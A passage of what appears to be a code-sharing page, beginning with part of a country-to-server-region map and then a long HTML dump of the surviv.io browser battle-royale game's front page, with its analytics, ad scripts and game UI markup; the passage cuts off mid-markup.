'EU-London', MX: 'US-Atlanta', FM: 'SG-Singapore', MD: 'EU-London', MC: 'EU-London', MN: 'JP-Tokyo', ME: 'EU-London', MS: 'US-Atlanta', MA: 'EU-London', MZ: 'EU-London', MM: 'JP-Tokyo', NA: 'EU-London', NR: 'SG-Singapore', NP: 'JP-Tokyo', NL: 'EU-London', NC: 'SG-Singapore', NZ: 'SG-Singapore', NI: 'US-Atlanta', NE: 'EU-London', NG: 'EU-London', NU: 'SG-Singapore', NF: 'SG-Singapore', MP: 'SG-Singapore', NO: 'EU-London', OM: 'JP-Tokyo', PK: 'JP-Tokyo', PW: 'SG-Singapore', PS: 'JP-Tokyo', PA: 'US-Atlanta', PG: 'SG-Singapore', PY: 'BR-Brazil', PE: 'BR-Brazil', PH: 'JP-Tokyo', PN: 'SG-Singapore', PL: 'EU-London', PT: 'EU-London', PR: 'US-Atlanta', QA: 'JP-Tokyo', RE: 'EU-London', RO: 'EU-London', RU: 'RU-Russia', RW: 'EU-London', BL: 'US-Atlanta', SH:

    From user rogerio111

  • ronald106 / surviv.io

    names.io, <!doctype html> <html lang='en'> <head> <!-- Meta Properties --> <meta charset='UTF-8'> <title>surviv.io - 2d battle royale game</title> <meta name="viewport" content="width=device-width, height=device-height, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, viewport-fit=cover, user-scalable=no"> <link rel="manifest" href="manifest.json"> <meta name="mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-title" content="surviv.io"> <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent"> <meta name="application-name" content="surviv.io"> <meta name="description" content="Like games such as Player Unknown's Battlegrounds (PUBG), Fortnite or Apex Legends? Play this free 2d battle royale io game in your browser!"> <meta property="og:description" content="Like games such as Player Unknown's Battlegrounds (PUBG), Fortnite or Apex Legends? Play this free 2d battle royale io game in your browser!"> <meta name="keywords" content="survivio, surviv, 2d battle royale, io, battle royale browser game, 2d battlegrounds, battlegrounds, battleroyale, battle, royale, browser game, br, survival, game, web game, multiplayer"> <meta property="og:type" content="website"> <meta property="og:title" content="surviv.io"> <meta property="og:url" content="/~/https://surviv.io/"> <meta property="og:site_name" content="surviv.io"> <meta content="/~/https://surviv.io/img/title.png" property="og:image"> <link rel="canonical" href="/~/https://surviv.io" /> <link rel="apple-touch-icon-precomposed" href="img/icon_app.png"> <link rel="icon" href="favicon.ico" type="image/x-icon"> <!-- Global site tag (gtag.js) - Google Analytics --> <script> window.adsBlocked = false; window.adBlockDetected = function() { window.adsBlocked = true; } window.alert = function() { } /* Cookie consent */ var cfg = {}; var consented = true; var webview = false; try { cfg = JSON.parse(localStorage.getItem('surviv_config')) || {}; if (cfg.cookiesConsented != undefined) { consented = cfg.cookiesConsented; } webview = localStorage.getItem('surviv_webview'); } catch (e) { } window.cookiesConsented = consented; if (window.cookiesConsented) { document.write("<script async src='/~/https://www.googletagmanager.com/gtag/js?id=UA-108811301-1' onerror='adBlockDetected();'>\x3C/script>"); window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'UA-108811301-1', { 'anonymize_ip': true }); } window.webviewDetected = new RegExp("[?&]webview=true","gi").test(window.location.href) || webview; </script> <!-- AIP --> <script> document.write("<script async src='/~/https://api.adinplay.com/libs/aiptag/pub/SRV/surviv.io/tag.min.js'>\x3C/script>"); var aiptag = aiptag || {}; aiptag.gdprConsent = window.cookiesConsented; aiptag.consented = window.cookiesConsented; aiptag.cmd = aiptag.cmd || []; aiptag.cmd.display = aiptag.cmd.display || []; </script> <!-- Fonts --> <link href="/~/https://fonts.googleapis.com/css?family=Roboto+Condensed:400,700" rel="stylesheet"> <link href="css/app.dacc77a5.css" rel="stylesheet"><meta name="ROBOTS" content="NOINDEX, NOFOLLOW"/> </head> <body> <div id='preroll-wrapper'> <div id="preroll"></div> </div> <div id="fb-root"></div> <canvas tabindex='1' id='cvs'></canvas> <div id='game-area-wrapper' style='display: none' oncontextmenu='return false;'> <div id='game-touch-area'></div> <!-- Class Select --> <div id='ui-role-menu-wrapper'> <div id='ui-role-menu'> <div id='ui-role-header'></div> <div id='ui-role-body'></div> <div id='ui-role-footer'> <div id='ui-role-footer-desc' data-l10n='game-select-class'>SELECT A CLASS</div> <div id='ui-role-footer-enter'>ENTER GAME (20)</div> </div> </div> </div> <div id='ui-game' class='click-through'> <div id='tablet-console'></div> <div id='ui-center'> <div id='ui-game-menu'> <div id='btn-game-tabs' class='btns-game-double-row'> <div class='btn-game-container'> <a id='btn-game-settings' class='btn-game-tab-select btn-game-menu btn-game-menu-selected btn-darken' data-tab='settings'></a> <div class='btn-double-row game-menu-icon-static settings-icon'></div> </div> <div class='btn-game-container'> <a id='btn-game-keybinds' class='btn-game-tab-select btn-game-menu btn-darken' data-tab='keybinds'></a> <div class='btn-double-row game-menu-icon-static keybind-icon'></div> </div> </div> <div id='ui-game-tab-settings' class='ui-game-tab'> <a id='btn-game-fullscreen' class='btn-fullscreen-toggle btn-game-menu btn-darken' data-l10n='game-full-screen'>Full Screen</a> <div id='btn-touch-styles' class='btns-game-double-row'> <div class='btn-game-container'> <a id='btn-game-move-style' class='btn-double-row btn-game-touch-style btn-darken'></a> <div class='btn-double-row game-menu-icon-toggle movement-icon'></div> </div> <div class='btn-game-container'> <a id='btn-game-aim-style' class='btn-double-row btn-game-touch-style btn-darken'></a> <div class='btn-double-row game-menu-icon-toggle target-icon'></div> </div> </div> <a id='btn-game-aim-line' class='btn-game-menu btn-darken locked-on-icon' data-l10n='game-aim-line'>Aim Line</a> <a id='btn-game-sound' class='btn-sound-toggle btn-game-menu btn-darken audio-on-icon' data-l10n='game-sound'>Sound</a> <div class="slider-container ui-slider-container"> <p class='slider-text' data-l10n='index-master-volume'>Master Volume</p> <input type="range" min="0" max="100" value="100" class="slider sl-master-volume"> </div> <div class="slider-container ui-slider-container"> <p class='slider-text' data-l10n='index-sfx-volume'>SFX Volume</p> <input type="range" min="0" max="100" value="100" class="slider sl-sound-volume"> </div> <div class="slider-container ui-slider-container"> <p class='slider-text' data-l10n='index-music-volume'>Music Volume</p> <input type="range" min="0" max="100" value="100" class="slider sl-music-volume"> </div> <a id='btn-game-quit' class='btn-quit btn-game-menu btn-darken' data-l10n='game-quit-game'>Quit Game</a> </div> <div id='ui-game-tab-keybinds' class='ui-game-tab'> <div id='ui-keybind-list' class='js-keybind-list'></div> <a class='js-btn-keybind-restore btn-keybind-restore btn-game-menu btn-darken' data-l10n='game-restore-defaults'>Restore Defaults</a> </div> <a id='btn-game-resume' class='btn-game-menu btn-darken' data-l10n='game-return-to-game'>Return to Game</a> </div> </div> <div id='big-map' class='js-ui-map-show'> <div id='big-map-collision'></div> <div id='big-map-close'></div> </div> <div id='ui-emotes' class='ui-emote-wheel'> <div id='ui-emote-middle' class='ui-emote-middle ui-emote-circle ui-emote-parent' data-key='middle' data-id='0'> <div class='ui-emote ui-emote-bg-circle'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-emote-top' class='ui-emote-top ui-emote-quarter ui-emote-parent' data-key='top' data-id='1'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-emote-right' class='ui-emote-right ui-emote-quarter ui-emote-parent' data-key='right' data-id='2'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-emote-bottom' class='ui-emote-bottom ui-emote-quarter ui-emote-parent' data-key='bottom' data-id='3'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-emote-left' class='ui-emote-left ui-emote-quarter ui-emote-parent' data-key='left' data-id='4'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> </div> <div id='ui-team-pings' class='ui-emote-wheel'> <div id='ui-team-ping-middle' class='ui-emote-middle ui-emote-circle ui-emote-parent' data-id='0'> <div class='ui-emote ui-emote-bg-circle'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-team-ping-top' class='ui-emote-top ui-emote-quarter ui-emote-parent' data-id='1'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-team-ping-right' class='ui-emote-right ui-emote-quarter ui-emote-parent' data-id='2'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-team-ping-bottom' class='ui-emote-bottom ui-emote-quarter ui-emote-parent' data-id='3'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-team-ping-bottom-left' class='ui-emote-bottom-left ui-emote-eighth ui-emote-parent' data-id='4'> <div class='ui-emote ui-emote-bg-eighth'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-small'></div> </div> <div id='ui-team-ping-top-left' class='ui-emote-top-left ui-emote-eighth ui-emote-parent' data-id='5'> <div class='ui-emote ui-emote-bg-eighth'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-small'></div> </div> </div> <div id='ui-team-indicators' class='js-ui-map-hidden js-desktop-ui-hud-show'> <div class='ui-team-indicator ui-indicator-main' data-id='0'> <div class='ui-team-indicator-pos ui-background-yellow'></div> </div> <div class='ui-team-indicator ui-indicator-main' data-id='1'> <div class='ui-team-indicator-pos ui-background-purple'></div> </div> <div class='ui-team-indicator ui-indicator-main' data-id='2'> <div class='ui-team-indicator-pos ui-background-cyan'></div> </div> <div class='ui-team-indicator ui-indicator-main' data-id='3'> <div class='ui-team-indicator-pos ui-background-orange'></div> </div> <div class='ui-team-indicator ui-indicator-main' data-id='4'> <div class='ui-team-indicator-pos ui-background-yellow'></div> </div> <div class='ui-team-indicator ui-indicator-ping' data-id='0'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='0'></div> <div class='ui-team-indicator ui-indicator-ping' data-id='1'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='1'></div> <div class='ui-team-indicator ui-indicator-ping' data-id='2'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='2'></div> <div class='ui-team-indicator ui-indicator-ping' data-id='3'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='3'></div> <div class='ui-team-indicator ui-indicator-ping' data-id='4'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='4'></div> </div> <div id='ui-right-center' class='ui-right-center-desktop js-ui-map-hidden'> <div id='ui-medical-interactive'> <div id='ui-loot-bandage' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-bandage'>Bandage</div> <div class='tooltip-description'><span data-l10n='game-bandage-tooltip'>Left-click to restore 15 health.</span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-healthkit' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-healthkit'>Med Kit</div> <div class='tooltip-description'><span data-l10n='game-healthkit-tooltip'>Left-click to restore 100 health.</div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-soda' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-soda'>Soda</div> <div class='tooltip-description'><span data-l10n='game-soda-tooltip'>Left-click to boost adrenaline by 25.</span><br><span data-l10n='game-adrenaline-tooltip'>Adrenaline restores health over time.</span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-chocolateBox' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-chocolateBox'>ChocolateBox</div> <div class='tooltip-description'><span data-l10n='game-soda-tooltip'>Left-click to boost adrenaline by 25.</span><br><span data-l10n='game-adrenaline-tooltip'>Adrenaline restores health over time.</span><br><span data-l10n='game-chocolateBox-tooltip'>Inmune to frenemy effect for 20s.</span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-painkiller' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-painkiller'>Pills</div> <div class='tooltip-description'><span data-l10n='game-painkiller-tooltip'>Left-click to boost adrenaline by 50.</div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-flask' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-flask'>Flask</div> <div class='tooltip-description'><span data-l10n='game-flask-tooltip'>Left-click for freeze damage immunity for 20 seconds.</span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> </div> <div id='ui-ammo-interactive'> <div id='ui-loot-50AE' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-50AE'></div> <div class='tooltip-description'><span data-l10n='game-50AE-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(30,30,30,0.75)'></div> </div> <div id='ui-loot-9mm' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-9mm'></div> <div class='tooltip-description'><span data-l10n='game-9mm-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(255,153,0,0.75)'></div> </div> <div id='ui-loot-308sub' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-308sub'></div> <div class='tooltip-description'><span data-l10n='game-308sub-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(49,56,0,0.75)'></div> </div> <div id='ui-loot-12gauge' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-12gauge'></div> <div class='tooltip-description'><span data-l10n='game-12gauge-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(255,0,0,0.75)'></div> </div> <div id='ui-loot-flare' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-flare'></div> <div class='tooltip-description'><span data-l10n='game-flare-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(255,85,0,0.75)'></div> </div> <div id='ui-loot-762mm' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-762mm'></div> <div class='tooltip-description'><span data-l10n='game-762mm-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(0,102,255,0.75)'></div> </div> <div id='ui-loot-45acp' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-45acp'></div> <div class='tooltip-description'><span data-l10n='game-45acp-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(121,0,255,0.75)'></div> </div> <div id='ui-loot-556mm' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-556mm'></div> <div class='tooltip-description'><span data-l10n='game-556mm-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(3,123,0,0.75)'></div> </div> <div id='ui-loot-40mm' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-40mm'></div> <div class='tooltip-description'><span data-l10n='game-40mm-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(12,221,171,0.75)'></div> </div> </div> <div id='ui-emote-button'></div> </div> <div id='ui-top-left' class='js-ui-hud-show click-through'> <div id='ui-team' class='js-ui-mobile-map-hidden'> <div class='ui-team-member ui-bg-standard' data-id='0'> <div class='ui-team-member-name'></div> <div class='ui-team-member-color ui-background-yellow'></div> <div class='ui-team-member-status'></div> <div class='ui-team-member-health'> <div class='ui-bar-inner ui-health-actual'></div> </div> </div> <div class='ui-team-member ui-bg-standard' data-id='1'> <div class='ui-team-member-name'></div> <div class='ui-team-member-color ui-background-purple'></div> <div class='ui-team-member-status'></div> <div class='ui-team-member-health'> <div class='ui-bar-inner ui-health-actual'></div> </div> </div> <div class='ui-team-member ui-bg-standard' data-id='2'> <div class='ui-team-member-name'></div> <div class='ui-team-member-color ui-background-cyan'></div> <div class='ui-team-member-status'></div> <div class='ui-team-member-health'> <div class='ui-bar-inner ui-health-actual'></div> </div> </div> <div class='ui-team-member ui-bg-standard' data-id='3'> <div class='ui-team-member-name'></div> <div class='ui-team-member-color ui-background-orange'></div> <div class='ui-team-member-status'></div> <div class='ui-team-member-health'> <div class='ui-bar-inner ui-health-actual'></div> </div> </div> </div> </div> <div id='ui-map-wrapper' class='ui-map-wrapper-desktop click-through'> <div id='ui-map-container'> <div id='ui-map-info' class='js-ui-map-hidden js-ui-hud-show'> <div id='ui-gas-icon' class='gas-icon'></div> <div id='ui-gas-timer'></div> </div> <div id='ui-spec-counter' class='js-ui-map-hidden js-ui-hud-show'> <div id='ui-spec-counter-icon'></div> <div id='ui-spec-counter-number'></div> </div> <div id='ui-settings-container-desktop' class='js-ui-desktop-map-hidden'> <div id='ui-map-expand-desktop' class='ui-map-expand ui-settings-button'> <img id='mag-glass-white' src=''></img> </div> <div id='ui-map-minimize' class='ui-settings-button js-ui-map-hidden'> <img id='ui-minimize-img' src=''></img> </div> </div> <div id='ui-settings-container-mobile' class='js-ui-mobile-map-hidden'> <div id='ui-alive-info'> <div id='ui-alive-icon' class='ui-map-icon alive-icon'></div> <div id='ui-map-counter-default' class='js-ui-players-alive'>0</div> <div id='ui-map-counter-faction'> <span class='ui-players-alive-red js-ui-players-alive-red'>0</span>:<span class='ui-players-alive-blue js-ui-players-alive-blue'>0</span> </div> </div> <div id='ui-map-expand-mobile' class='ui-map-expand ui-settings-button'></div> </div> </div> </div> <div id='ui-menu-display' class='ui-settings-button prop-event'></div> <div id='ui-kill-leader-container'> <div id='ui-kill-leader-wrapper' class='js-ui-map-hidden js-ui-hud-show hide-on-mobile'> <div id='ui-kill-leader-name'>Waiting for new leader</div> <div id='ui-kill-leader-icon'></div> <div id='ui-kill-leader-count'>0</div> </div> </div> <div id='ui-killfeed-wrapper'> <div id='ui-killfeed' class='js-ui-map-hidden js-ui-hud-show'> <div id='ui-killfeed-contents'></div> </div> </div> <div id='ui-leaderboard-wrapper'> <div id='ui-leaderboard' class='js-ui-hud-show'> <div id='ui-leaderboard-alive'> <span class='ui-players-alive js-ui-players-alive'>0</span> </div> <div id='ui-leaderboard-alive-faction'> <span class='ui-players-alive-red js-ui-players-alive-red'>0</span> <span class='ui-players-alive-blue js-ui-players-alive-blue'>0</span> </div> <div class='ui-leaderboard-header' data-l10n='game-alive'>Alive</div> </div> <div id='ui-kill-counter-wrapper' class='js-ui-map-show'> <div id='ui-kill-counter'> <span class='ui-player-kills js-ui-player-kills'>0</span> </div> <div class='ui-kill-counter-header' data-l10n='game-kills'>Kills</div> </div> </div> <div id='ui-top-center-scopes-wrapper'> <div id='ui-top-center-scopes' class='click-through js-ui-map-hidden'> <div id='ui-scope-1xscope' class='ui-scope ui-zoom'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>1<span class='ui-zoom-append'>x</span></div> </div> </div> <div id='ui-scope-2xscope' class='ui-scope ui-zoom ui-outline-hover'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>2<span class='ui-zoom-append'>x</span></div> </div> </div> <div id='ui-scope-4xscope' class='ui-scope ui-zoom ui-outline-hover'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>4<span class='ui-zoom-append'>x</span></div> </div> </div> <div id='ui-scope-8xscope' class='ui-scope ui-zoom ui-outline-hover'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>8<span class='ui-zoom-append'>x</span></div> </div> </div> <div id='ui-scope-15xscope' class='ui-scope ui-zoom ui-outline-hover'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>15<span class='ui-zoom-append'>x</span></div> </div> </div> </div> </div> <div id='ui-top-center' class='js-ui-map-hidden js-ui-hud-show click-through'> <div id='ui-waiting-text' class='top-center-text'><span data-l10n='game-waiting-for-players'>Waiting for players</span>...</div> <div id='ui-spectate-text' class='top-center-text ui-spectate-mode'> <div class='spectate-text spectate-desc' data-l10n='game-spectating'>Spectating</div> <div id='spectate-player' class='spectate-text'></div> </div> </div> <div id='ui-upper-center' class='click-through'> <div id='ui-announcement'></div> </div> <div id='ui-upper-center-1' class='click-through'> <div id='ui-pickup-notification'> <div id='ui-pickup-description'>Item picked up</div> </div> </div> <div id='ui-lower-center' class='js-ui-map-hidden js-ui-hud-show click-through'> <div id='ui-interaction'> <div id='ui-interaction-press'></div> <div id='ui-interaction-outer'> <div id='ui-interaction-description'></div> </div> </div> </div> <div id='ui-bottom-center-2' class='click-through'> <div id='ui-pickup-message' class='notify-message'></div> <div id='ui-perk-message-wrapper' class='notify-message'> <div id='ui-perk-message-image-wrapper'> <div id='ui-perk-message-image-icon'></div> </div> <div id='ui-perk-message-name' class='notify-message'></div> <div id='ui-perk-message-acquired' class='notify-message'></div> </div> </div> <div id='ui-equipped-ammo-wrapper' class='js-ui-map-hidden js-ui-hud-show'> <div id='ui-equipped-ammo'> <div id='ui-bullet-counter'> <div id='ui-current-clip'>0</div> <div id='ui-remaining-ammo'>0</div> <div id='ui-reload-button-container'> <div id='ui-reload-button'></div> </div> </div> </div> </div> <div id='ui-bottom-center-0' class='click-through js-ui-map-hidden js-ui-hud-show'> <div id='ui-boost-counter'> <div class='ui-boost-base' id='ui-boost-counter-0'> <div class='ui-bar-inner'></div> </div> <div class='ui-boost-base' id='ui-boost-counter-1'> <div class='ui-bar-inner'></div> </div> <div class='ui-boost-base' id='ui-boost-counter-2'> <div class='ui-bar-inner'></div> </div> <div class='ui-boost-base' id='ui-boost-counter-3'> <div class='ui-bar-inner'></div> </div> </div> <div id='ui-health-counter'> <div id='ui-health-flair-left' class='ui-health-flair'></div> <div id='ui-health-flair-right' class='ui-health-flair'></div> <div id='ui-health-container'> <div class='ui-bar-inner' id='ui-health-actual'></div> <div class='ui-bar-inner' id='ui-health-depleted'></div> </div> </div> </div> <div id='ui-bottom-center-left' class='js-ui-map-hidden'> <div id='ui-perk-0' class='ui-armor-counter tooltip-perk ui-outline-hover'> <div class='tooltip-text'> <div class='tooltip-title'></div> <div class='tooltip-desc'></div> </div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> <div id='ui-perk-1' class='ui-armor-counter tooltip-perk ui-outline-hover'> <div class='tooltip-text'> <div class='tooltip-title'></div> <div class='tooltip-desc'></div> </div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> <div id='ui-perk-2' class='ui-armor-counter tooltip-perk ui-outline-hover'> <div class='tooltip-text'> <div class='tooltip-title'></div> <div class='tooltip-desc'></div> </div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> </div> <div id='ui-bottom-center-right' class='js-ui-map-hidden'> <div id='ui-armor-helmet' class='ui-armor-counter ui-outline-hover'> <div class='ui-armor-counter-inner'></div> <div class='ui-armor-level'></div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> <div id='ui-armor-chest' class='ui-armor-counter ui-outline-hover'> <div class='ui-armor-counter-inner'></div> <div class='ui-armor-level'></div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> <div id='ui-armor-backpack' class='ui-armor-counter'> <div class='ui-armor-counter-inner'></div> <div class='ui-armor-level'></div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> </div> <div id='ui-bottom-right' class='js-ui-map-hidden'> <div id='ui-weapon-container'> <div class='ui-weapon-info'> <div class='ui-weapon-switch ui-outline-hover' id='ui-weapon-id-1' data-slot='1'> <div class='ui-weapon-name'></div> <div class='ui-weapon-number'>1</div> <img class='ui-weapon-image' src=''></img> </div> </div> <div class='ui-weapon-info'> <div class='ui-weapon-switch ui-outline-hover' id='ui-weapon-id-2' data-slot='2'> <div class='ui-weapon-name'></div> <div class='ui-weapon-number'>2</div> <img class='ui-weapon-image' src=''></img> </div> </div> <div class='ui-weapon-info'> <div class='ui-weapon-switch ui-outline-hover' id='ui-weapon-id-3'> <div class='ui-weapon-name'></div> <div class='ui-weapon-number'>3</div> <img class='ui-weapon-image' src=''></img> </div> </div> <div class='ui-weapon-info'> <div class='ui-weapon-switch ui-outline-hover' id='ui-weapon-id-4'> <div class='ui-weapon-name'></div> <div class='ui-weapon-number'>4</div> <div class='ui-weapon-exp ui-weapon-ammo-counter'>0</div> <img class='ui-weapon-image' src=''></img> </div> </div> </div> </div> <div id='ui-spectate-options-wrapper'> <div id='ui-spectate-options' class='ui-spectate-mode js-ui-hud-show click-through'> <div id='ui-spectate-buttons' class='ui-bg-standard'> <a class='menu-option btn-darken' id='btn-spectate-next-player' data-l10n='game-next-teammate'>Next Teammate</a> <a class='menu-option btn-darken' id='btn-spectate-prev-player' data-l10n='game-previous-teammate'>Previous Teammate</a> <a class='menu-option btn-darken' id='btn-spectate-view-stats' data-l10n='game-view-match-stats'>View Match Stats</a> <a class='menu-option btn-darken btn-quit' id='btn-spectate-quit' data-l10n='game-leave-game'>Leave Game</a> </div> <div id='ui-spectate-stats' class='ui-bg-standard'> <div id='ui-spectate-stats-header' data-l10n='game-your-results'>Your Results</div> <table id='ui-spectate-stats-table'> <tbody id='ui-spectate-stats-data'> </tbody> </table> </div> </div> </div> <div id='ui-bottom-center-1' class='click-through'> <div id='ui-kills'> <div id='ui-kill-text'></div> <div id='ui-kill-count'></div> </div> </div> </div> <div id='ui-stats'> <div id='ui-stats-bg'></div> <div id='ui-stats-contents'> <div id='ui-stats-contents-inner'> <div id='ui-stats-header'></div> <div id='ui-stats-info-box'></div> <div id='ui-stats-options'></div> <div id='ui-stats-logo'></div> </div> <div id='ui-stats-ad-container-desktop' class='ui-stats-ad-container'> <div id='surviv-io_300x250_2'></div> </div> <div id='ui-stats-ad-container-mobile' class='ui-stats-ad-container'> <div id='surviv-io_300x250_mobile_2'></div> </div> </div> </div> <div class='ui-stats-adblock surviv-shirts'> <a class='surviv-shirts-link' href='/~/https://www.amazon.com/s?rh=n%3A7141123011%2Cp_4%3Asurviv.io&ref=w_bl_sl_s_ap_web_7141123011' target="_blank"></a> </div> <div class='ui-stats-adblock adblock-plea'> <span>Please consider supporting us by disabling your adblocker.</span> </div> </div> <div id='start-menu-wrapper'> <div id='safari-margin'></div> <div id='background'> <div id='start-overlay'></div> </div> <div id='event-modal'> <div id='modal-container'> <p id='modal-header' data-l10n='index-modal-test'>(HEADER TEXT)</p> <img id='modal-img-1'> <div id='modal-content'> <img id='modal-img-2'> <p id='modal-text' data-l10n='event-desc'>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Tincidunt dui ut ornare lectus sit amet est.</p> </div> <button class='close' id='modal-btn' data-l10n='modal-btn-txt' type='button'>(BUTTON TEXT)</button> </div> </div> <div id='start-main'> <div id='start-top-left'> <div id='btn-hamburger' class='icon-hamburger'></div> <div id='start-top-left-desktop'> <div id='featured-streamers'> <div class='streaming-header'> <div id='streaming-header-title' data-l10n='index-streaming-live'>Streaming Live!</div> <div id='streaming-icon'></div> </div> <div class='streamer-list'></div> <div id='featured-streamer-template'> <a href='' target='_blank' class='btn-streamer btn-darken'></a> </div> </div> <div id='featured-youtuber'> <div class='youtube-header'> <div id='youtube-header-title' data-l10n='index-featured-youtuber'>Featured YouTuber</div> </div> <a href='' target='_blank' class='btn-youtuber btn-darken'></a> </div> </div> </div> <!-- Accounts Modals --> <div id='modal-account-name-change' class='modal modal-account'> <div class='modal-content modal-close'> <div class='modal-header modal-header-name'> <span class='close close-corner'></span> <h2 id='modal-account-name-title' data-l10n='index-create-account'>Create Account</h2> </div> <div class='modal-body modal-body-name'> <div class='modal-settings-item'> <p id='modal-account-name-desc' class='modal-body-text' data-l10n='index-set-account-name'>Set your account name:</p> <div id='modal-body-warning'></div> <input type='text' class='menu-option player-name-input' tabindex='0' placeholder='Enter name' id='modal-account-name-input' maxlength='16' /> </div> </div> <div class='modal-footer modal-footer-name modal-footer-round'> <h3 id='modal-account-name-finish' class='finish' data-l10n='index-finish'>Finish</h3> </div> </div> </div> <div 